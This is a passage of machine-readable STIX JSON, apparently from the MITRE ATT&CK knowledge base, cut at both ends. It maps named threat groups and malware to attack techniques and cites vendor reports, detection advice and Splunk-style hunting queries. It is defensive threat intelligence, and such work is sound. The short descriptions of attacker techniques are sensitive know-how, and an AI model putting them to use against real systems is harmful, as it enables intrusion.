June 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb912dd-ed1f-4844-9bc0-75a033fa8813","type":"relationship","created":"2022-02-01T21:21:35.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky WIRTE November 2021","url":"https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044","description":"Yamout, M. (2021, November 29). WIRTE’s campaign in the Middle East ‘living off the land’ since at least 2019. Retrieved February 1, 2022."}],"modified":"2022-02-01T21:21:35.872Z","description":"[Ferocious](https://attack.mitre.org/software/S0679) can delete files from a compromised host.(Citation: Kaspersky WIRTE November 2021)","relationship_type":"uses","source_ref":"malware--73d08401-005f-4e1f-90b9-8f45d120879f","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccb94ba8-3384-40cf-a810-ab4a2423c54d","type":"relationship","created":"2022-03-30T14:26:51.865Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.865Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccba2fd3-636e-4283-8bd8-792b544df6f5","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts provided by third-party services that may disable Windows event logging to limit data that can be leveraged for detections and audits.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccbdfb01-1610-4cf1-ae44-e1fe521d5eb9","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"Monitor executed commands and arguments that may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccc14a82-43bc-4eea-b19f-95aba6bdb5e6","type":"relationship","created":"2021-06-30T16:13:40.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Chaes Nov 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf","description":"Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021."}],"modified":"2021-06-30T16:13:40.484Z","description":"[Chaes](https://attack.mitre.org/software/S0631) has used JavaScript and Node.Js information stealer script that exfiltrates data using the node process.(Citation: Cybereason Chaes Nov 2020)","relationship_type":"uses","source_ref":"malware--77e0ecf7-ca91-4c06-8012-8e728986a87a","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccc38b61-c517-4186-909a-760f12ef65e8","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"}],"modified":"2020-03-17T00:47:59.894Z","description":"[CORESHELL](https://attack.mitre.org/software/S0137) is installed via execution of rundll32 with an export named \"init\" or \"InitW.\"(Citation: Microsoft SIR Vol 19)","relationship_type":"uses","source_ref":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccc5e544-25b0-480c-a7b2-4ed10f5e6605","type":"relationship","created":"2022-03-30T14:26:51.853Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.853Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ccc79ae5-de3c-4955-8179-2c4aa652613d","created":"2022-02-09T14:32:47.787Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Kimsuky Nov 2021","url":"https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html","description":"An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has hosted content used for targeting efforts via web services such as Blogspot.(Citation: Talos Kimsuky Nov 2021)","modified":"2022-04-19T01:11:09.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccd237b6-c7d6-4941-a1f2-cb563ae90b79","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-06-23T20:40:40.910Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) has used a malicious Word document for delivery with VBA macros for execution.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccd387c3-f818-468e-ac13-24b6aab2a061","created":"2024-02-13T16:26:30.096Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-13T16:26:30.096Z","description":"[APT5](https://attack.mitre.org/groups/G1023) has used the BLOODMINE utility to collect data on web requests from Pulse Secure Connect logs.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccd4c695-2458-4eb0-ad9c-a19d411f7627","type":"relationship","created":"2021-11-12T19:30:36.099Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"modified":"2021-11-12T19:30:36.099Z","description":"[Diavol](https://attack.mitre.org/software/S0659) can collect the computer name and OS version from the system.(Citation: Fortinet Diavol July 2021)","relationship_type":"uses","source_ref":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ccd6c063-9699-4592-b903-3becc2008b91","created":"2022-06-09T20:26:09.044Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has been disguised as a legitimate executable, including as Windows SDK.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-06-09T20:26:09.044Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccd99593-7ff0-4706-aa94-73cc8d237fe8","created":"2019-05-24T17:57:36.633Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."},{"source_name":"Cyber Forensicator Silence Jan 2019","description":"Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.","url":"https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.224Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has deleted artifacts, including scheduled tasks, communicates files from the C2 and other logs.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: Group IB Silence Sept 2018)\t","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccdab928-86cd-4e6d-b477-0ec156f6105a","type":"relationship","created":"2022-02-18T15:21:51.169Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."},{"source_name":"Unit 42 Gamaredon February 2022","url":"https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/","description":"Unit 42. (2022, February 3). Russia’s Gamaredon aka Primitive Bear APT Group Actively Targeting Ukraine. Retrieved February 21, 2022."}],"modified":"2022-02-21T15:11:39.858Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has registered multiple domains to facilitate payload staging and C2.(Citation: Microsoft Actinium February 2022)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccdafe5f-5bad-4929-8767-739c3f48b9c1","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:11:44.464Z","description":"Monitor for newly executed processes that may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nNote: The New-PSDrive PowerShell cmdlet creates temporary and persistent drives that are mapped to or associated with a location in a data store, such a registry key (PSProvider “Registry”). The Get-ChildItem gets the items in one or more specified locations. By using both, you can enumerate COM objects in one or more specified locations.\n\nNote for Analytic 3: Replace FilePathToLolbasProcessXX.exe with lolBAS process names that are used by your organization. The number_standard_deviations parameter should be tuned accordingly. Identifying outliers by comparing distance from a data point to the average value against a certain number of standard deviations is recommended for data values that are symmetrical distributed. If your data is not distributed, try a different algorithm such as the Interquartile Range (IQR).\n\nAnalytic 1 - Suspicious Processes with Registry keys\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") \n| search (CommandLine LIKE \"%reg%\" AND CommandLine LIKE \"%query%\") OR (CommandLine LIKE \"%Registry%\" AND (CommandLine LIKE \"%HKEY_CLASSES_ROOT%\" OR CommandLine \"%HKCR%\"))\n \nAnalytic 2 - reg.exe spawned from suspicious cmd.exe\n\n((sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") \n| WHERE (Image LIKE \"%reg.exe%\" AND ParentImage LIKE \"%cmd.exe%\")\n| rename ProcessParentGuid as guid\n| join type=inner guid\n[ | search ((source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (Image LIKE \"%cmd.exe%\" AND ParentImage NOT LIKE \"%explorer.exe%\")\n| rename ProcessGuid as guid ]\n\nAnalytic 3 - Rare LolBAS command lines\n\n ((sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND Image IN ('FilePathToLolbasProcess01.exe','FilePathToLolbasProcess02.exe') AND number_standard_deviations = 1.5\n| select Image, ProcessCount, AVG(ProcessCount) Over() - STDEV(ProcessCount) Over() * number_standard_deviations AS LowerBound \n| WHERE ProcessCount < LowerBound\n","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccdb0aac-24b8-4e94-a3b6-b7e1c519a938","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.849Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ccdff6e8-75ea-4386-ab0f-435ac35ccc61","type":"relationship","created":"2020-03-13T18:11:08.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-13T18:11:08.520Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cce31baa-5862-4df5-806f-15aaa7410fa5","type":"relationship","created":"2017-05-31T21:33:27.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender APT28 Dec 2015","description":"Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.","url":"https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"},{"url":"http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf","description":"Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.","source_name":"Microsoft SIR Vol 19"},{"description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","source_name":"Securelist Sofacy Feb 2018"}],"modified":"2019-12-20T14:26:01.157Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has exploited CVE-2014-4076, CVE-2015-2387, CVE-2015-1701, CVE-2017-0263 to escalate privileges.(Citation: Bitdefender APT28 Dec 2015)(Citation: Microsoft SIR Vol 19)(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cce43f73-d564-4c60-9492-52b3f7039b7b","created":"2023-04-04T21:32:01.457Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T21:32:01.457Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can search for debugging tools on a compromised host.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--cce441ef-ca18-461b-878c-496da97ccc06","created":"2024-02-07T18:54:54.149Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-07T18:54:54.149Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) creates and installs itself to a hidden installation directory.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cce5cf85-7187-40da-8fda-bd237ad1d05f","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor for API calls that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccec5b80-e16a-4379-926f-08c1c821497a","created":"2020-01-24T14:32:40.526Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Beechey 2010","description":"Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.","url":"http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"},{"source_name":"Corio 2008","description":"Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/previous-versions/technet-magazine/cc510322(v=msdn.10)"},{"source_name":"Microsoft Windows Defender Application Control","description":"Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control"},{"source_name":"TechNet Applocker vs SRP","description":"Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.","url":"https://technet.microsoft.com/en-us/library/ee791851.aspx"},{"source_name":"NSA MS AppLocker","description":"NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.","url":"https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"},{"source_name":"Windows Commands JPCERT","description":"Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.","url":"https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:06.873Z","description":"Adversaries can replace accessibility features binaries with alternate binaries to execute this technique. Identify and block potentially malicious software executed through accessibility features functionality by using application control (Citation: Beechey 2010) tools, like Windows Defender Application Control(Citation: Microsoft Windows Defender Application Control), AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)","relationship_type":"mitigates","source_ref":"course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db","target_ref":"attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccf2762f-9982-43c2-911c-d304797fead0","created":"2024-07-12T19:24:30.335Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Zscaler Pikabot 2023","description":"Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.","url":"https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"},{"source_name":"Elastic Pikabot 2024","description":"Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.","url":"https://www.elastic.co/security-labs/pikabot-i-choose-you"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-14T21:35:47.070Z","description":"[Pikabot](https://attack.mitre.org/software/S1145) further decrypts information embedded via steganography using AES-CBC with the same 32 bit key as initial XOR operations combined with the first 16 bytes of the encrypted data as an initialization vector.(Citation: Zscaler Pikabot 2023) Other [Pikabot](https://attack.mitre.org/software/S1145) variants include encrypted, chunked sections of the stage 2 payload in the initial loader .text section before decrypting and assembling these during execution.(Citation: Elastic Pikabot 2024)","relationship_type":"uses","source_ref":"malware--02739f57-7585-4319-acd3-794ae8ff3a70","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ccf98348-6578-4c88-874a-220de402e3d9","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-13T13:38:07.630Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may use email rules to hide inbound emails in a compromised user's mailbox. Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. In environments using Exchange, monitor logs for the 